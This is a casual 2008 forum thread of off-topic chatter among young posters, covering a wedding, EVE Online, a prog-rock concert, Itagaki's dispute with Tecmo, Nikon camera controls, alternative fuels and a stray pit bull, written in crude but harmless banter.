Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 01, 2008, 01:12:32 PM
Cool. I have no idea what you should expect though. I've never been to a wedding.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on June 01, 2008, 01:36:18 PM
my dad has an incredibly bad habit on barging into my room when i'm in various states of undress. usually its when i have no pants on

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 01, 2008, 01:36:48 PM
lol, the hell?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on June 01, 2008, 01:44:56 PM
dude i dont even know what the fucks up with that man
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 01, 2008, 02:01:19 PM
umm knock?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 01, 2008, 02:13:00 PM
Just went to a couple of parties and saw some people I hadn't seen in a year or so, kind of depressing knowing how little I'll see some of them considering I used to hang out with them often, but it was still a good time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on June 01, 2008, 02:24:45 PM
umm knock?

not in his vocabulary. its his house so he can do whatever he wants
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 01, 2008, 03:22:47 PM
not in his vocabulary. its his house so he can do whatever he wants

Call him a paedo.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 01, 2008, 08:35:27 PM
lol new avatar :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 01, 2008, 08:52:54 PM
And the media talking about shit like "such and such celebrity is pregnant, such and such is going out with so and so" etc. etc. etc. isn't worthless? I'd say that article is more newsworthy than most of the crap they talk about now.

very true, indeed. excellent point. Worthless in the fact of "oh hey they released pics, but we won't link you to them."

So my mom's getting married today and I'm the best man. What am I supposed to expect?

Standing around, lots of pictures... Prepare a speech if you havent already.. (shit unless you're already there OH MY GOD WTF)  I was a ring bearer when I was 9. Pretty much lame sauce.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 01, 2008, 11:36:43 PM
Inspired somewhat by Office Space, I have decided to start stealing one small cup of hazelnuts from my work (which are normally handed out for free to customers) a day, and not eat any of them for a long time until I have a genuine collection of delicious hazelnuts, which I will keep around my room for guests to enjoy at their leisure.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 02, 2008, 12:55:18 AM
Inspired somewhat by Office Space, I have decided to start stealing one small cup of hazelnuts from my work (which are normally handed out for free to customers) a day, and not eat any of them for a long time until I have a genuine collection of delicious hazelnuts, which I will keep around my room for guests to enjoy at their leisure.

What the hell, is there an Office Space marathon going on? I saw part of it this morning (it was randomly on), then it was on at my girlfriend's house hours later, and now you mention it! What the christ!

Also, I just got back from ProgNation, it was AMAZING. Dream Theater, Three, Between the Buried and Me and Opeth all played, bout a 4 and a half hour show. Sooo good. I am really looking forward to crashing soon though :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 02, 2008, 01:04:05 AM
What did you think of the BTBAM? I'd absolutely LOVE to see them and Opeth live.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 02, 2008, 01:06:04 AM
It already came here? FUCK. I FUCKING hate being poor and having friends who have shit taste in music. Are they still touring Florida, because I couldn't even FIND tour dates or even see a commercial, but that was like the one show I really wanted to see.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 02, 2008, 01:08:27 AM
Yeah, well, I highly doubt I'll be able to see them, as much as I really want to.

Even If I have the money, I don't think I'd be able to drive there myself (Driving to Toronto when you've never driven there, and proceeding to find parking/go to the show and driving back in a night is not something I think I could manage right now, even if I had the money for the ticket :/, and that's if I'd even be allowed to take the car to do that.)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 02, 2008, 01:20:07 AM
I just reactivated my EVE subscription.

Lawd help me. ;_;
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 02, 2008, 03:24:20 AM
i played the trial to EVE

game is pretty ZZZzzzZZzz when you don't have friends who play/know what the fuck they are doing

learning curve is pretty fucking high
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 02, 2008, 03:45:45 AM
Eh, I wouldn't say that the learning curve is high, per se.  They might have improved the tutorials since you played (when did you try it?) but I found it to be pretty easy to get started with.

Now as far as getting into the meat of the game, well, that takes quite a while.  There's also a lot to learn, but you don't have to do it all at once.

As for a good way to make money at first, I started producing and selling cheap Miner I lasers in the newbie area.  If you do the mining yourself (which is easy to do in hi-sec space, since plagioclase is all you need for a Miner I), thus saving yourself the cost of buying the materials, you can pay to have it manufactured it and sell it cheap, making a massive profit.

That'll do until I acquire the resources to go out and build bigger and better things.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 02, 2008, 03:48:43 AM
late november to early december 2007

i mined some stuff, could only really find tritanium, even in the lower sec space, i couldn't find anything else. 

so i tried some missions, and well, they aren't fucking easy, i almost got my minmatar probe exploded, so fuck them.

i think this detains down to the game isn't forgiving for newcomers/dumbasses (like me), and i was spoiled with WoW.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 02, 2008, 03:51:50 AM
Well damn, you started playing right around when I started.  YOU SHOULDA SAID SOMETHING. :P

I didn't attempt the missions.  Based on discussions I've had with other EVEers, mining sounds like a more profitable route.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 02, 2008, 04:37:48 AM
Met a dude at work who said he was an ex LA laker, tried looking him up online with no luck. Said he played with Magic johnson (80s) and also played for the celtics, and went to north carolina for college Also, 6'2-6'4". I think this guy was full of shit. Oh well.

Went with a buddy and his friends on their senior prank. Put condoms, tampons, vagisil, depends, bandaids in the high school pool. Also, red food coloring on the tampons and bandaids.

Also, I talked/debated with a friend about religion, and they ended up giving up christianity right then and there.

Twas a good day, indeed.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 02, 2008, 06:15:11 AM
Also, I talked/debated with a friend about religion, and they ended up giving up christianity right then and there.

Yikes.

What on earth did you say?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 02, 2008, 08:20:56 AM
lol, I just asked them questions on the inconsistencies in the bible, and their belief, and how they justify them. (I used to be Christian, so I know my way around fairly well)

I spent a good deal on the foundation of the value and importance of evidence and logic, as well as just the general absurdity of many of the beliefs. I don't want to offend anyone, but yeah.

I wouldn't so much call it yikes, they were actually pretty happy about it. Unfortunately, when you get a deep belief such as religion changed, you often get upset like you've been lied to or wasted your time. Then again, feeling like you made a better choice in your belief system is always a good thing to feel.

It just started off randomly from something, just a typical conversation, and then just got into questioning and a mild debate. Then it got more serious, and then they started to consider my perspective, and trying to understand it like I do, and it made more sense to them than what they had previously thought. When I say that, I don't mean to say that I have it all figured out, that's just what ended up happening. But yeah.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 02, 2008, 09:51:14 AM
Wow, cool.

It's always good to know your way around another religion when you're debating it :P

I have a lot of fun debating theological aspects of Christianity, and the importance of them, considering the fact that I'm agnostic.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: K-Mann on June 02, 2008, 12:36:25 PM
Wow, cool.

It's always good to know your way around another religion when you're debating it :P

I have a lot of fun debating theological aspects of Christianity, and the importance of them, considering the fact that I'm agnostic.

I never could get into debates about religion. Maybe its because I don't really know much about the topic to get into it?

I got GH III last Weds... played it for the first time the next day. I'm not doin' too hot. Half my accomplishments are one of my buddies coming over and playing a bunch of stupid Expert songs that I'll never get to in years.

Also I moved into a new place and its a disaster area. Sleeping on the floor til I get a bed kinda sucks. Especially since I don't even have a bedroom yet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 02, 2008, 12:38:27 PM
disaster area

basically how my room has been since I moved in.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 02, 2008, 12:49:23 PM
I never could get into debates about religion. Maybe its because I don't really know much about the topic to get into it?

That doesn't stop lots of people :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 02, 2008, 11:02:44 PM
I was just at the end-of-the-year Whiz Quiz party at the instructor's house. In his bathroom, there was a mirror over the toilet.

Today, I learned how unnerving it is to watch myself pee.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on June 02, 2008, 11:27:36 PM
What strange mirror placement :s
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 03, 2008, 12:05:32 AM
Have you ever watched yourself masturbate? Now that's uncomfortable.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 03, 2008, 12:48:48 AM
Have you ever watched yourself masturbate? Now that's uncomfortable.

Frequently. Also I have a friend who has a large mirror in front of his toilet, so when you stand to urinate, you can plainly see yourself going.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 03, 2008, 01:29:41 AM
its been like 85 degrees all day, and at 1:30 am (read, now) i get this fucking awesome COOL BREEZE going through my window.

i think i am going to masturbate.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 03, 2008, 02:15:49 AM
http://www.1up.com/do/newsStory?cId=3168056

Holy shit, this guy seems like a huge dick.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on June 03, 2008, 02:27:05 AM
I've always wondered whats up with his face. he looks like he dipped it into a pot of infuriated magma leeches from hades.

but yeah my opinion on this incident is the same as it is with ball players and musicians. they don't get enough money so they throw a hissy fit and resign. the ones that get cheated are the fans who miss out on all the good games the person could have made, all the championships the ball-player could have won, and al the great albums the singer/band could have released.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 03, 2008, 08:39:26 AM
Well, when the company tells you they'll give you a completion bonus, and then when you ask for it, and they tell you "fuck off, we're not paying", they deserve what they get.

Honestly, I don't care how much money he was making in the first place, if the company said he would be paid a completion bonus, and then didn't pay him, it's no wonder he's suing them. I sure as hell would!

I completely understand why he's doing this, and I probably would do the exact same. Now, his damages claim might be a little insane, but that depends on how much they were going to pay as a bonus, and how much suffering he has actually endured (quite a bit, by the sounds of it).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 03, 2008, 08:44:08 AM
You have no idea how much I might suffer for a few thousand dollars. :\
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 03, 2008, 08:47:45 AM
Well, he was suffering, and not getting paid what they told him he would, so A) suffering, B) no money.

Plus, just because he's leaving Tecmo, doesn't mean he won't produce more games. (or make more money).
It just means he won't produce sequels to the games he's already made, because of rights issues.
He may be able to have even more freedom about what he wants to make now, too.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 03, 2008, 08:55:42 AM
Try to guess what part I added in:

"In addition, he made demeaning remarks about me to my subordinates and colleagues, causing me significant emotional distress and worsening my personal relationships and work environment. I am sensitive about my face."

I can understand your points entirely, but expecting to get compensation because "he made demeaning remarks about me" sounds like playground talk by a 6-year-old. -- "Kimberly said I was stupid to her friends! I want to beat her up!"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 03, 2008, 09:23:47 AM
Uhh, in a working environment, if the boss is insulting you behind your back to people you have to work with, building tension, creating bullshit, and generally making your life hard, I can see why he would add that into the equation.

Have you worked in any sort of team oriented environment with someone that people don't like? Have you noticed that fighting with team members tends to be less productive, as well as more stressful? Have you thought that as having a full time job (and probably doing a LOT of overtime during crunch time) dealing with people like that all day day in and day out can get grating, and extremely stressful?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 03, 2008, 09:29:53 AM
Sure, I have.. Plenty of times. Used to have to do it at work all the time (until the idiot fell down the stairs a few days ago... hahaha).

But, using a court to play "mommy" because someone called you "names" is stupid, in my book.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 03, 2008, 11:45:24 AM
Sure, at times, things can get downright stupid with what people use the courts for, but I honestly feel he's justified to get something. Part of the idea of punitive damages is a way of using money to tell the guy who's wrong not to do it again. It's not awarded because the guy who's suing them deserves it, but it's there to punish the asshole for whatever they did. Suing someone and using the "emotional distress" stuff is essentially the same deal as punitive damages. It's there because sometimes what people do to get sued isn't technically illegal, however, it still caused a lot of trouble for the person.

The whole point, though, is that things have gone beyond simply calling him names or something, it's gotten bad enough that he is willing to leave the job because of it. Obviously, being called names isn't fun, but if it's simply being called names by someone, that's one thing, but having someone (even worse, in Itagaki's case, since it's his boss) going to the people you work with, who are supposed to take orders from you, and talking behind your back, along with essentially turning the people you have to work with against you can be a major issue. If any of the employees working under Itagaki agree with Yusada, and say things to Itagaki's face, that undermines his authority, along with creating unnecessary stress, and reducing productivity. Essentially, Yusada has made Itagaki's job hell, and Itagaki is fighting back.

Just because you can't really do anything about it most of the time, doesn't mean that it's right. Just like bullying in school, in the grand scheme of things, it's nothing big, but it can be bad enough to make kids go insane and shoot up their school. Obviously, younger people are more vulnerable to bullying and such, but it's never fun to be bullied, and there are few times when anything CAN be done about it, so when there is, why not take it? Why not make Yusada think again before he opens his mouth and says something insulting or offensive about someone working for him.

Hell, Itagaki might have been able to charge Yoshimi Yasuda for harassment or some other such crime, if he really wanted to.

Of course, most aspects of harassment require actual mental or physical injury, but that is somewhat mitigated by the fact that they already have a reason to sue, in cases like Itagaki's.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 03, 2008, 04:18:52 PM
After using my Nikon F4 for so long, going back to my D40 to take a few shots was...an experience.

The knobs on the F4 are ridiculously convenient.  I mean, look at this:

(http://files.spectere.net/pictures/photos/f4-knobs.jpg)

Shutter speed, exposure compensation.  No need to wade through menus, no need to so much as remove your eye from the viewfinder.  Notice that the mode selection (i.e. something you won't want to do much) is located around the shutter release (out of focus in the picture).  Furthermore, it's locked -- you have to hold down a small button to change modes.

Now take a look at the D40:

(http://files.spectere.net/pictures/photos/d40-modes.jpg)

It's funny.  Now when I go to change shutter speed on the D40 I wind up changing modes (the control that I want is the mostly-internal knob on the back, not the one on the top).  For some reason, changing the mode on the D40 is as easy as changing the shutter speed on the F4.  Yikes.

I've also taken to going for the lens to change the aperture now.  The F4 can fully control the aperture on-camera, but only in programmed modes.  The D40 can only control the aperture on-camera.  Now I keep grabbing for the base of the lens rather than holding down the aperture button (to the lower-right of the shutter release in the picture) and flicking the adjustment knob.

The AF and AE locks are much easier to get to on the F4 as well.  On the D40 it's to the immediate right of the viewfinder (you can see the top of the button on the picture above) so you have to kind of squeeze your thum between your face and the camera to get to it.  On the F4 one can easily hit it by extending their index finger while gripping the camera.  It's hard to hit by accident yet easy to hit when you want it.  The AE-L is also a seperate key altogether -- located under the AF-L -- so you can choose to have both, neither, or either.  It's awesome.

But anyhoo, that'll be enough for now.  I guess I should probably drive home...I've spend enough time sitting in a parking lot and working. :S
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 03, 2008, 05:42:37 PM
Damn I wish I had a nice camera :[
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 03, 2008, 06:25:13 PM
Damn I wish I had a nice camera :[

The D40 is pretty cheap as far as digital SLRs go.  The kit comes with the camera body, a battery (with charger), a USB transfer cable, and a Nikkor AF-S DX 18-55mm f/3.5-5.6G (which is a damn fine lens).  Final price: $500 ($550 in some stores...don't pay any more than $550 for the kit though!).  The only thing you need above and beyond is an SD card, but those are pretty cheap (I would recommend a faster card if you want to shoot RAW, though -- a 155x card can save a full RAW file almost as fast as the camera can shoot).

Ritz Camera also has a special package that has a D40 kit (all of the above) bundled with a Nikkor AF-S DX 55-200mm f/4-5.6G for $600: http://www.ritzcamera.com/product/SLR1160.htm?bct=t1134 (http://www.ritzcamera.com/product/SLR1160.htm?bct=t1134).  You can probably get it in-store if you have one near you (I have a zillion Ritz Camera shops near me...don't know how common they are in the rest of the US) for the same amount.  The 55-200mm is a mighty nice lens...I bought one for $250.  The only difference between mine and the one in the kit is that mine has VR -- vibration reduction -- which comes in handy when shooting handheld at lower shutter speeds.

Edit: The F4 can actually be had for a bit less depending on where you look.  IIRC, I paid around $250 for the body (with the MB-21 grip) and $120 for my Nikkor AF 70-210mm f/4-5.6 lens (which included a Hoya 72mm UV filter and a pop-out rubber hood, even) -- both of which were acquired on eBay (I think Adorama (http://www.adorama.com/) has used F4s available, also.  The only problem with that is that it takes 4 AA batteries (6 if you have the MB-21 grip, 8 if you have the MB-23 grip) to operate, weighs a ton, and requires you to purchase and develop 35mm film.  It's an amazing AMAZING camera, though.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 03, 2008, 10:11:20 PM
"In addition, he made demeaning remarks about me to my subordinates and colleagues, causing me significant emotional distress and worsening my personal relationships and work environment. I am sensitive about my face."

That's kind of mean, then again, he insults his OWN team when they made a game with out him (the NG game for PS3). He said it was shitty to the press, which comes off as a direct insult to them.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 03, 2008, 10:28:06 PM
wtb ninja gaiden 2 demo (ITS AVALIBLE EVERYWHERE SAVE FOR NORTH AMERICA, FFFFFFFFFFF)

on the flip side, the 360 is backwards compatable with the jsrf/sega gt pack in disk that came with the original xbox way back when.  yay, now i don't need to own a stand alone copy of jsrf so i can play it on the 360.

also, remind me to buy this when i have money

http://www.amazon.com/gp/offer-listing/B00006LU9C/ref=sr_1_olp_1?ie=UTF8&s=videogames&qid=1212546529&sr=1-1

$30 for a new copy of panzer dragoon orta?  FUCK YES

but why did you have to die smilebit, WHYYYYYYYYY
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 03, 2008, 10:40:39 PM
Here's a quote he's credited with by http://www.totalvideogames.com/news/Itagaki_Ninja_Gaiden_2_Is_My_Final_Instalment_13219_7010_0.htm
"It was a weird chimera of a game, with some things here and some things there. From a game design standpoint, I don't think it was done well at all. This [Ninja Gaiden II] is the definitive version of Ninja Gaiden...I look at NG2 and I think it's the culmination of everything I've done, but it's also a chance for me to change how I think about game design."

That is essentially saying whoever designed the game system (controls and such), did it poorly. Since he had nothing to do with it, he can see the flaws and differences in how he would have done it. It's not really an insult on the members of the team, they just do what they;re told, it's whoever took over his place. Itagaki is a Game Director, in charge of creative aspects of the game. He was insulting the creative direction the game took, not the team of people (he would probably agree that the higher quality graphics are nice, and that the ideas that were used were decently executed, but just because a game looks nice, and the changes are done "well" per se, doesn't mean that the game itself is good.)

An example would be my view of FF8. Sure, it has great graphics, and the GF system is well done, but I still don't like the game at all, and think the story is rather stupid. Doesn't change that the game was well put together, I'm insulting the guys in charge of the creative part.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 03, 2008, 10:48:30 PM
^ are you talking about what I said, because I was talking bout NGS.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 03, 2008, 10:54:28 PM
you know, i just realized y'all were talking about ninja gaiden, i simply ignored the tldr's and made a post because i wanted to play the fucking demo.

anyway, i still have the original(yes, ninja gaiden, not this ninja gaiden black shit, i bought the original game for $50.00, fuck you tecmo for releasing a better version for less money), and its backwards compatible for xbox so s'all good for now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 04, 2008, 12:49:23 AM
I got a letter in the mail today about housing and it gave me my roommate's contact info. I emailed him and got his Facebook. He seems like a pretty cool guy.

Also, I've discovered that how active I am is directly proportional to how comfortable I am around the people around me and inversely proportional to how well I know them. Case in point: While playing Guitar Hero at the nerd party on Saturday I was rocking out. I didn't know the majority of people there, but I was comfortable. However, playing Rock Band last night at the whiz quiz party was not that way. I was calm, as usual, because I knew the people around me pretty well. I think it's pretty strange.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: K-Mann on June 04, 2008, 12:54:29 AM
Nice. I've been lucky with my roomates in the past, hopefully you have a good one.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 04, 2008, 01:38:07 AM
anyway, i still have the original(yes, ninja gaiden, not this ninja gaiden black shit, i bought the original game for $50.00, fuck you tecmo for releasing a better version for less money), and its backwards compatible for xbox so s'all good for now.

That's not the original, but I understand what you mean.

Also yeah, I feel bad about him saying he's sensitive about his face, when everyone EVERYWHERE says "lol moonlike".
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 04, 2008, 01:49:25 AM
That's not the original, but I understand what you mean.

Also yeah, I feel bad about him saying he's sensitive about his face, when everyone EVERYWHERE says "lol moonlike".

you better understand what i mean, typing "ninja gaiden (xbox)" is a bit annoying, also i hated the nes ninja gaiden games.

and why feel bad about itagaki.  i mean, if you think he is just a regular asian man you would feel bad about him, but i mean, hes not human. 

our fucking moon is responsible for one of the best action games ever made, i would have to give him credit for that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 04, 2008, 02:47:14 AM
post

That's some good info, thanks :] I won't have the money right now, but I am probably going to get a shitload of money from financial aide this year >:D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 04, 2008, 03:30:56 AM
My pleasure.

One thing, if you decide to pick up a digital SLR, swing by your local drug store on the way home and grab a nasal aspirator (Rite-Aid sells a package that has both an ear syringe and a nasal aspirator -- that's what I picked up).  If you wind up getting dust on the sensor in the camera you can use these extremely cheap instruments to try and blow it free, since physically touching that insanely sensitive sensor pretty much guarantees that your warranty goes kaput (Nikon has a 5-year warranty on domestic camera bodies and lenses...I wouldn't squander it :)).  Also, microfiber cloths (http://www.target.com/Unger-Microfiber-Cleaning-Cloths-10-pk/dp/B000E48IUG/sr=1-1/qid=1212564305/ref=sr_1_1/601-3304207-7006504?ie=UTF8&index=target&rh=k%3Amicrofiber%20cloth&page=1) work wonders for cleaning off lenses.  I've used them for mine and smudges, fingerprints, everything comes off easily.  For lenses that are extremely dirty (I've only seen one and it sure as SHIT wasn't mine) a bit of moisture (read: breathe on it) and a few quick wipes is all you need.  These things are amazing.  Don't even bother with specialized lens cleaners.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 04, 2008, 05:34:56 PM
Me and some friends are going geocaching right now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 04, 2008, 09:44:50 PM
I just got a new tire [blow out], and my oil changed to synthetic.

woo
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 04, 2008, 10:03:46 PM
It already came here? FUCK. I FUCKING hate being poor and having friends who have shit taste in music. Are they still touring Florida, because I couldn't even FIND tour dates or even see a commercial, but that was like the one show I really wanted to see.

The June 1 tour here was the last US show of the tour. Their last show, which I think is in a few days, is in Puerto Rico. >_>

Yeah, to whoever asked, BTBAM was pretty neat, and Opeth was loud. Dream Theater and Three were both jesus, though.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 04, 2008, 11:37:16 PM
The June 1 tour here was the last US show of the tour. Their last show, which I think is in a few days, is in Puerto Rico. >_>

I guess I really should have took more initiative.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 05, 2008, 04:17:01 PM
So today I convinced someone that we should switch over to using hydrogen rather than drill in Alaska for more oil.

If you like driving bombs on wheels with a cruising distance of a mere 100 miles on a full tank, sure. Otherwise, biodiesel.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 05, 2008, 05:11:37 PM
If you like driving bombs on wheels

Car crashes just got AWESOME.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 05, 2008, 05:22:01 PM
Biodiesel would be nice if it took less land to grow. I think it's like 100 gallons/acre. I like hydrogen because it's so abundant.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 05, 2008, 06:04:14 PM
Yeah, hydrogen is VERY simple to produce.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 05, 2008, 06:25:55 PM
Car crashes just got AWESOME.

By that logic, smashing into the back of a Ford Pinto would lead to quite an awesome accident, and that was back in the 70s! :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on June 05, 2008, 06:40:11 PM
so somebody dumped a giant-ass pitbull over the wall from the street into our backyard last night.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 05, 2008, 08:13:12 PM
so somebody dumped a giant-ass pitbull over the wall from the street into our backyard last night.

eat it
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 05, 2008, 08:31:59 PM
blocked two of my friends on the msn.

one due to him being an ass and hanging the phone up on me, till i get an apology for that, BLOZICKOED.

the other, because he is 21 and has no license, so till he gets his drivers permit, HE REMAINS BLOCKED.  for his own good i say.

you could say i am an ass, for the first one since i provoked getting hung up on (i was pissed).  but the second, that kid just needs to get his ass in gear.

*edit*

666
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 05, 2008, 11:20:24 PM
so somebody dumped a giant-ass pitbull over the wall from the street into our backyard last night.

So it's dead?  :'(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on June 05, 2008, 11:42:59 PM
So it's dead?  :'(

rofl i probably should have clarified. it was alive. it tore shit up and then decided to go to sleep. animal control wouldn't come out until today. i guess bloodthirsty beasts rampaging on somebody's property isn't as important as catching some Z's. they didn't come until this afternoon. my dad was going to shoot it but then they came and it was all aiight.

we would have just forced it out the gate and let let it go but little kids play all around our neighborhood.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 05, 2008, 11:44:09 PM
Lame. Oh well, it's good to see that it's still alive.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 06, 2008, 01:11:13 AM
rofl i probably should have clarified. it was alive. it tore shit up and then decided to go to sleep. animal control wouldn't come out until today. i guess bloodthirsty beasts rampaging on somebody's property isn't as important as catching some Z's. they didn't come until this afternoon. my dad was going to shoot it but then they came and it was all aiight.

we would have just forced it out the gate and let let it go but little kids play all around our neighborhood.

So it wasn't nice? Pits aren't traditionally mean, but unless it was raised for fighting then thrown in your yard to trash the evidence, I wouldn't go fucking near it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 06, 2008, 03:24:11 AM
the mgs4 spoilers posted in /v/ are blowing my mind right now

i mean, take everything awesome in every other metal gear game to have happened, combined and trippled.  i mean, WOW at some of the stuff ive been reading.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 06, 2008, 03:35:43 AM
So it wasn't nice? Pits aren't traditionally mean, but unless it was raised for fighting then thrown in your yard to trash the evidence, I wouldn't go fucking near it.

Seconded. Abandoned pits are no-go.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 06, 2008, 04:11:37 AM
it was alive.
Lame.

BOBBIAS!  That's terrible... :(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 06, 2008, 04:22:07 AM
I still say he should have eaten the dog.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on June 06, 2008, 04:45:00 PM
So it wasn't nice? Pits aren't traditionally mean, but unless it was raised for fighting then thrown in your yard to trash the evidence, I wouldn't go fucking near it.

thats exactly what i said but my parents for some reason didn't think it was possible that it could be a fighting dog. they(mostly my mom) were afraid of it just because it was a pitbull. idk if it ended up being nice or not. i wasn't around when they took it away. it was a huge-ass beast though. i should have taken pictures.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 06, 2008, 06:36:38 PM
mai gad

http://www.gametrailers.com/player/34898.html

this actually surprises me

watch the end of the video, and you will know why.

[spoiler]the guy from forced unleashed is in soul calibur 4[/spoiler]
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 06, 2008, 06:54:51 PM
the mgs4 spoilers posted in /v/ are blowing my mind right now

i mean, take everything awesome in every other metal gear game to have happened, combined and trippled.  i mean, WOW at some of the stuff ive been reading.

Don't tell me, I'm trying to avoid those even tho I don't own a tripple.

thats exactly what i said but my parents for some reason didn't think it was possible that it could be a fighting dog. they(mostly my mom) were afraid of it just because it was a pitbull. idk if it ended up being nice or not. i wasn't around when they took it away. it was a huge-ass beast though. i should have taken pictures.

My aunt said she had a rather large pit bull come walking into her yard, and all it did was roll onto it's stomach near her feet so she would pet it. Really, dalmatians are worse the pits, in terms of aggressiveness towards humans.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on June 06, 2008, 07:05:48 PM
I'm off to the Bahamas for a week.  Later d00ds.

Expect lots of sunset pictures  :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 06, 2008, 09:14:28 PM
Sweet.  Have fun! :)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on June 07, 2008, 12:30:13 AM
Just watched Seven Samurai.  The end was kind of disappointing because my two favorite characters died, but that was the point, and it was a great movie anyway.  Really long though :o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 07, 2008, 12:52:44 AM
My favorite manager at my job is leaving after today because she was lied to about getting a higher position, and that plus the fact that nothing in the fucking restaurant works right and always has to be serviced, and mostly, I work with a bunch of slow, idiot kids who don't care about their job at all. I know it's fast food, but it's still a damn job.

But my current "dream" job is working at Blockbuster. I'd be away from food, and in a place where I relate to the customer's needs because I love movies. I applied there and am hoping to get a call soon.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 07, 2008, 01:04:33 AM
I just went 140 in a rented corvette

holy shit that is fast.

<3 american V8 rear wheel
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 07, 2008, 01:07:21 AM
I just went 140 in a rented corvette

Driving or riding shotgun?  Either way, holy shit.

My crowning achievement was sitting inside of a parked Dodge Viper (and 110 in my Saturn...lol).  Woot.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 07, 2008, 01:16:19 AM
uhh i went 90mph on the freeway once...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 07, 2008, 01:29:54 AM
